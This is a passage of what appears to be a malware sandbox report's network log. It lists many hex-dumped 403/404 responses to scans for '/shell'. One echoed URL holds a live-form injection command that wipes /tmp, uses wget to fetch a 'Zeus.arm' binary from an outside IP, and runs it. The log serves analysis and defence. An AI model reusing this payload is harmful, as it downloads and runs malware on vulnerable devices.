76 65 72 7b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 7d 2e 66 6f 6f 74 65 72 7b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 20 72 69 67 68 74 3a 31 30 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 63 6f 6c 6f 72 3a 23 61 61 61 3b 7d 2e 66 6f 6f 74 65 72 20 61 7b 20 63 6f 6c 6f 72 3a 23 36 36 36 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7d 2e 74 65 78 74 2d 63 65 6e 74 65 72 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 20 3c 68 31 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 57 65 62 73 69 74 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 20 54 68 65 20 77 65 62 73 69 74 65 20 79 6f 75 20 61 72 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 61 63 68 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 20 3c 2f 70 3e 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:48 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:51 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cache, no-store, must-revalidate, max-age=0Pragma: no-cacheExpires: 0Date: Wed, 09 Mar 2022 08:38:56 GMTContent-Type: text/htmlConnection: Keep-AliveData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Wed, 09 Mar 2022 13:38:59 GMTContent-Type: application/octet-streamTransfer-Encoding: chunkedConnection: keep-aliveData Raw: 61 39 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 72 65 61 73 6f 6e 20 68 69 64 64 65 6e 3e 31 39 3c 2f 72 65 61 73 6f 6e 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: a9<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><reason hidden>19</reason><hr><center>openresty</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:38:59 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not foundAccept-Encoding:UTF-8Content-type:text/htmlContent-length:179
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:01 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Wed, 09 Mar 2022 13:39:07 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 09 Mar 2022 13:39:07 GMTServer: Apache/2.4.23 (Unix) OpenSSL/1.0.2gContent-Length: 214Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:39:09 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:39:12 GMTServer: ApacheLast-Modified: Wed, 08 Jul 2009 11:56:40 GMTETag: "13b9-6a8-46e306e9b4e00;5d4aa709f549b"Accept-Ranges: bytesContent-Length: 1704Vary: Accept-EncodingConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 20 20 3b 20 0a 09 20 20 7d 0a 09 20 20 0a 20 20 20 20 74 72 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 68 74 6d 6c 20 7b 0a 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 79 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 74 6f 70 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 35 37 61 35 63 36 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 2e 65 6e 74 65 74 65 20 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 33 37 70 78 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2f 66 6f 6e 64 2d 31 70 78 2e 67 69 66 22 29 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 2e 70 6f 73 69 74 69 6f 6e 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 2e 6d 65 73 73 61 67 65 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 09 Mar 2022 13:39:15 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:39:15 GMTServer: ApacheX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 203Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Sat, 03 Jan 1970 06:43:05 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: RomPager/4.07 UPnP/1.0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 09 Mar 2022 13:39:18 GMTContent-Type: text/htmlContent-Length: 676Connection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 2f 62 69 6e 73 2f 5a 65 75 73 2e 61 72 6d 3b 63 68 6d 6f 64 2b 37 37 37 2b 2f 74 6d 70 2f 5a 65 75 73 2e 61 72 6d 3b 73 68 2b 2f 74 6d 70 2f 5a 65 75 73 2e 61 72 6d 20 5a 65 75 73 2e 6a 61 77 73 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 6b 73 72 76 32 34 35 35 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 32 2f 30 33 2f 30 39 20 32 31 3a 33 39 3a 31 38 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body bgcolor="white"><h1>404 Not Found</h1><p>The requested URL was not found on this server. Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws</td></tr><tr><td>Server:</td><td>hksrv2455</td></tr><tr><td>Date:</td><td>2022/03/09 21:39:18</td></tr></table><hr/>Powered by Tengine</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:39:14 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://ideafactory.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 64 65 61 66 61 63 74 6f 72 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 73 63 72 69 70 74 3e 76 61 72 20 65 74 5f 73 69 74 65 5f 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 69 64 65 61 66 61 63 74 6f 72 79 2e 63 6f 6d 27 3b 76 61 72 20 65 74 5f 70 6f 73 74 5f 69 64 3d 27 30 27 3b 66 75 6e 63 74 69 6f 6e 20 65 74 5f 63 6f 72 65 5f 70 61 67 65 5f 72 65 73 6f 75 72 63 65 5f 66 61 6c 6c 62 61 63 6b 28 61 2c 62 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 62 3d 61 2e 73 68 65 65 74 2e 63 73 73 52 75 6c 65 73 26 26 30 3d 3d 3d 61 2e 73 68 65 65 74 2e 63 73 73 52 75 6c 65 73 2e 6c 65 6e 67 74 68 29 3b 62 26 26 28 61 2e 6f 6e 65 72 72 6f 72 3d 6e 75 6c 6c 2c 61 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 2c 61 2e 68 72 65 66 3f 61 2e 68 72 65 66 3d 65 74 5f 73 69 74 65 5f 75 72 6c 2b 22 2f 3f 65 74 5f 63 6f 72 65 5f 70 61 67 65 5f 72 65 73 6f 75 72 63 65 3d 22 2b 61 2e 69 64 2b 65 74 5f 70 6f 73 74 5f 69 64 3a 61 2e 73 72 63 26 26 28 61 2e 73 72 63 3d 65 74 5f 73 69 74 65 5f 75 72 6c 2b 22 2f 3f 65 74 5f 63 6f 72 65 5f 70 61 67 65 5f 72 65 73 6f 75 72 63 65 3d 22 2b 61 2e 69 64 2b 65 74 5f 70 6f 73 74 5f 69 64 29 29 7d 0a 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 54 68 65 20 49 64 65 61 20 46 61 63 74 6f 72 79 3c 2f 74 69 74 6c 65 3e 0a 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 66 6f 72 20 57 6f 72 64 50 72 65 73 73 20 62 79 20 67 74 6d 34 77 70 2e 63 6f 6d 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 64 61 74 61 2d 70 61 67 65 73 70 65 65 64 2d 6e 6f 2d 64 65 66 65 72 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 09 76 61 72 20 67 74 6d 34 77 70 5f 64 61 74 61 6c 61 79 65 72 5f 6e 61 6d 65 20 3d 